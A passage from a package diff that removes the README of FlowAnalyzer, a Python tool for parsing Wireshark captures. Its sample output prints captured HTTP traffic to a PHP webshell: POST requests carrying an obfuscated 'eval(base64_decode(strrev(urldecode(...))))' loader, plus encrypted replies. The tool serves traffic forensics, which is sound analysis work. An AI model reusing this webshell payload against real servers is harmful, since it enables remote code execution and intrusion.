NXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cSY0IjM1EzY5EGOiBTZ2M2Mn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cSelt2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD%27%29%29%29%29%3B&key=fL1tMGI4YTljMX78f8Wo%2FyhTF1YCWEn3M%2BF4ZGJ%2BL2Iz5EofTe8udar8%2BTGDwKtg8LxWYhFKlauQQtYfPnQDdprPQMrHPVjA6hjPeOQNpHlpcBNa5IHIHHrIHEy7jch%2Fv3Z2Y0lq8qSQQkYhwWZhxVpNq1liOGE%3D', 时间: 1682596262.982344
-序号: 3请求包, 请求头: b'HTTP/1.1 200 OK\r\nServer: openresty/1.15.8.1\r\nDate: Thu, 27 Apr 2023 11:51:02 GMT\r\nContent-Type: text/html\r\nTransfer-Encoding: chunked\r\nConnection: keep-alive\r\nX-Powered-By: PHP/5.5.38\r\nSet-Cookie: PHPSESSID=s9ocgt7via0goppc2f8ev033e3; path=/\r\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\r\nCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\r\nPragma: no-cache', 文件: b'70\r\n72a9c691ccdaab98fL1tMGI4YTljMh76GrwuHij67J+qF+t2KR17BwHlSvtL1mdSPnoksIZRS0N0Xi89+zNlNaUo+3xjMTU=b4c4e1f6ddd2a488\r\n0\r\n\r\n', 时间: 1682596262.992406
-[+] 正在处理第2个HTTP流!
-序号: 5请求包, 请求头: b'POST /upload/php_eval_xor_base64.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0\r\nCookie: PHPSESSID=s9ocgt7via0goppc2f8ev033e3;\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\r\nHost: 192.168.225.129\r\nConnection: keep-alive\r\nContent-type: application/x-www-form-urlencoded\r\nContent-Length: 1409', 文件: b'pass=eval%28base64_decode%28strrev%28urldecode%28%27K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBnc0NHKgYWagACIgACIgAiCNsXZzxWZ9BCIgAiCNsTK2EDLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKpkXZrRCLpEGdhRGJo4WdyBEKlR2bj5WZoUGZvNmbl9FN2U2chJGIvh2YlBCIgACIgACIK0wOpYTMsADLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKkF2bslXYwRCKsFmdllQCK0QfgACIgACIgAiCNsTK5V2akwCZh9Gb5FGckgSZk92YuVWPkF2bslXYwRCIgACIgACIgACIgAiCNsXKlNHbhZWP90TKi8mZul0cjl2chJEdldmIsQWYvxWehBHJoM3bwJHdzhCImlGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cSY0IjM1EzY5EGOiBTZ2M2Mn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cSelt2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD%27%29%29%29%29%3B&key=fL1tMGI4YTljMX78f8Wo%2FyhTF1cCWEn3M%2BF4ZGJ%2BL2Iz5EofTe8udar8%2BTGDwKtg8LxWYhFKlauQQtYfPnQDdprPQMrHPVjA6hjPeOTReMrqj%2Fx6aH4XU%2BWInBcrzUhN6o%2FMfL54MmpIY6avwUcSIJBkZUuq7rVUYzE1', 时间: 1682596266.652869
-序号: 6请求包, 请求头: b'HTTP/1.1 200 OK\r\nServer: openresty/1.15.8.1\r\nDate: Thu, 27 Apr 2023 11:51:06 GMT\r\nContent-Type: text/html\r\nTransfer-Encoding: chunked\r\nConnection: keep-alive\r\nX-Powered-By: PHP/5.5.38\r\nSet-Cookie: PHPSESSID=s9ocgt7via0goppc2f8ev033e3; path=/\r\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\r\nCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\r\nPragma: no-cache', 文件: b'40\r\n72a9c691ccdaab98fL1tMGI4YTljMh4dHdNjM6AJ3DZmOGE5b4c4e1f6ddd2a488\r\n0\r\n\r\n', 时间: 1682596266.661427
-...
-```
-
-# Contributing
-Feel free to submit issues or pull requests if you have any suggestions, improvements, or bug reports.
-
-# License
-
-This project is licensed under the [MIT License.](LICENSE)

flowanalyzer-0.3.6/README.md

@@ -1,76 +0,0 @@
-# FlowAnalyzer
-
-# 安装
-
-使用 `pip` 安装：
-
-```
-pip3 install FlowAnalyzer
-```
-
-```
-pip3 install FlowAnalyzer -i https://pypi.org/simple
-```
-
-# 快速上手
-
-如果您安装 `WireShark` 没有修改安装目录，默认 `tshark` 路径会如下：
-
-```python
-# windows
-tshark_path = r"C:\Program Files\Wireshark\tshark.exe"
-```
-
-您确定路径没有问题，那也无需任何配置即可使用！
-
-否则，您需要修改 `python安装目录\Lib\site- packages\FlowAnalyzer\Path.py` 中的变量 `tshark_path` 改为您的安装目录
-
-```
-$ git clone https://github.com/Byxs20/FlowAnalyzer.git
-$ cd ./FlowAnalyzer/
-```
-
-使用 `python3 .\tests\demo.py` 看是否能输出正确的运行结果，测试代码如下：
-
-```python
-# sourcery skip: use-fstring-for-formatting
-import os
-from FlowAnalyzer import FlowAnalyzer
-
-
-baseDir = os.path.dirname(os.path.abspath(__file__))
-flowPath = os.path.join(baseDir, "flow.pcapng")
-display_filter = "(http.request and urlencoded-form) or (http.request and data-text-lines) or (http.request and mime_multipart) or (http.response.code == 200 and data-text-lines)"
-
-jsonPath = FlowAnalyzer.get_json_data(flowPath, display_filter=display_filter)
-for count, http in enumerate(FlowAnalyzer(jsonPath).generate_http_dict_pairs(), start=1):
-    print(f"[+] 正在处理第{count}个HTTP流!")
-    
-    request, response = http.request, http.response
-    if request:
-        request_num, header, file_data, time_epoch = request.frame_num, request.header, request.file_data, request.time_epoch
-        print("序号: {}请求包, 请求头: {}, 文件: {}, 时间: {}".format(request_num, header, file_data, time_epoch))
-
-    if response:
-        response_num, header, file_data, time_epoch = response.frame_num, response.header, response.file_data, response.time_epoch
-        print("序号: {}请求包, 请求头: {}, 文件: {}, 时间: {}".format(response_num, header, file_data, time_epoch))
-```
-
-运行结果：
-
-```
-[+] 正在处理第1个HTTP流!
-序号: 2请求包, 请求头: b'POST /upload/php_eval_xor_base64.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0\r\nCookie: PHPSESSID=s9ocgt7via0goppc2f8ev033e3;\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\r\nHost: 192.168.225.129\r\nConnection: keep-alive\r\nContent-type: application/x-www-form-urlencoded\r\nContent-Length: 1403', 文件: b'pass=eval%28base64_decode%28strrev%28urldecode%28%27K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBnc0NHKgYWagACIgACIgAiCNsXZzxWZ9BCIgAiCNsTK2EDLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKpkXZrRCLpEGdhRGJo4WdyBEKlR2bj5WZoUGZvNmbl9FN2U2chJGIvh2YlBCIgACIgACIK0wOpYTMsADLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKkF2bslXYwRCKsFmdllQCK0QfgACIgACIgAiCNsTK5V2akwCZh9Gb5FGckgSZk92YuVWPkF2bslXYwRCIgACIgACIgACIgAiCNsXKlNHbhZWP90TKi8mZul0cjl2chJEdldmIsQWYvxWehBHJoM3bwJHdzhCImlGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cSY0IjM1EzY5EGOiBTZ2M2Mn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cSelt2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD%27%29%29%29%29%3B&key=fL1tMGI4YTljMX78f8Wo%2FyhTF1YCWEn3M%2BF4ZGJ%2BL2Iz5EofTe8udar8%2BTGDwKtg8LxWYhFKlauQQtYfPnQDdprPQMrHPVjA6hjPeOQNpHlpcBNa5IHIHHrIHEy7jch%2Fv3Z2Y0lq8qSQQkYhwWZhxVpNq1liOGE%3D', 时间: 1682596262.982344
-序号: 3请求包, 请求头: b'HTTP/1.1 200 OK\r\nServer: openresty/1.15.8.1\r\nDate: Thu, 27 Apr 2023 11:51:02 GMT\r\nContent-Type: text/html\r\nTransfer-Encoding: chunked\r\nConnection: keep-alive\r\nX-Powered-By: PHP/5.5.38\r\nSet-Cookie: PHPSESSID=s9ocgt7via0goppc2f8ev033e3; path=/\r\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\r\nCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\r\nPragma: no-cache', 文件: b'70\r\n72a9c691ccdaab98fL1tMGI4YTljMh76GrwuHij67J+qF+t2KR17BwHlSvtL1mdSPnoksIZRS0N0Xi89+zNlNaUo+3xjMTU=b4c4e1f6ddd2a488\r\n0\r\n\r\n', 时间: 1682596262.992406
-[+] 正在处理第2个HTTP流!
-序号: 5请求包, 请求头: b'POST /upload/php_eval_xor_base64.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0\r\nCookie: PHPSESSID=s9ocgt7via0goppc2f8ev033e3;\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\r\nHost: 192.168.225.129\r\nConnection: keep-alive\r\nContent-type: application/x-www-form-urlencoded\r\nContent-Length: 1409', 文件: b'pass=eval%28base64_decode%28strrev%28urldecode%28%27K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBnc0NHKgYWagACIgACIgAiCNsXZzxWZ9BCIgAiCNsTK2EDLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKpkXZrRCLpEGdhRGJo4WdyBEKlR2bj5WZoUGZvNmbl9FN2U2chJGIvh2YlBCIgACIgACIK0wOpYTMsADLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKkF2bslXYwRCKsFmdllQCK0QfgACIgACIgAiCNsTK5V2akwCZh9Gb5FGckgSZk92YuVWPkF2bslXYwRCIgACIgACIgACIgAiCNsXKlNHbhZWP90TKi8mZul0cjl2chJEdldmIsQWYvxWehBHJoM3bwJHdzhCImlGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cSY0IjM1EzY5EGOiBTZ2M2Mn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cSelt2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD%27%29%29%29%29%3B&key=fL1tMGI4YTljMX78f8Wo%2FyhTF1cCWEn3M%2BF4ZGJ%2BL2Iz5EofTe8udar8%2BTGDwKtg8LxWYhFKlauQQtYfPnQDdprPQMrHPVjA6hjPeOTReMrqj%2Fx6aH4XU%2BWInBcrzUhN6o%2FMfL54MmpIY6avwUcSIJBkZUuq7rVUYzE1', 时间: 1682596266.652869
-序号: 6请求包, 请求头: b'HTTP/1.1 200 OK\r\nServer: openresty/1.15.8.1\r\nDate: Thu, 27 Apr 2023 11:51:06 GMT\r\nContent-Type: text/html\r\nTransfer-Encoding: chunked\r\nConnection: keep-alive\r\nX-Powered-By: PHP/5.5.38\r\nSet-Cookie: PHPSESSID=s9ocgt7via0goppc2f8ev033e3; path=/\r\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\r\nCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\r\nPragma: no-cache', 文件: b'40\r\n72a9c691ccdaab98fL1tMGI4YTljMh4dHdNjM6AJ3DZmOGE5b4c4e1f6ddd2a488\r\n0\r\n\r\n', 时间: 1682596266.661427
-...
-```
-
-# Contributing
-Feel free to submit issues or pull requests if you have any suggestions, improvements, or bug reports.
-
-# License
-
-This project is licensed under the [MIT License.](LICENSE)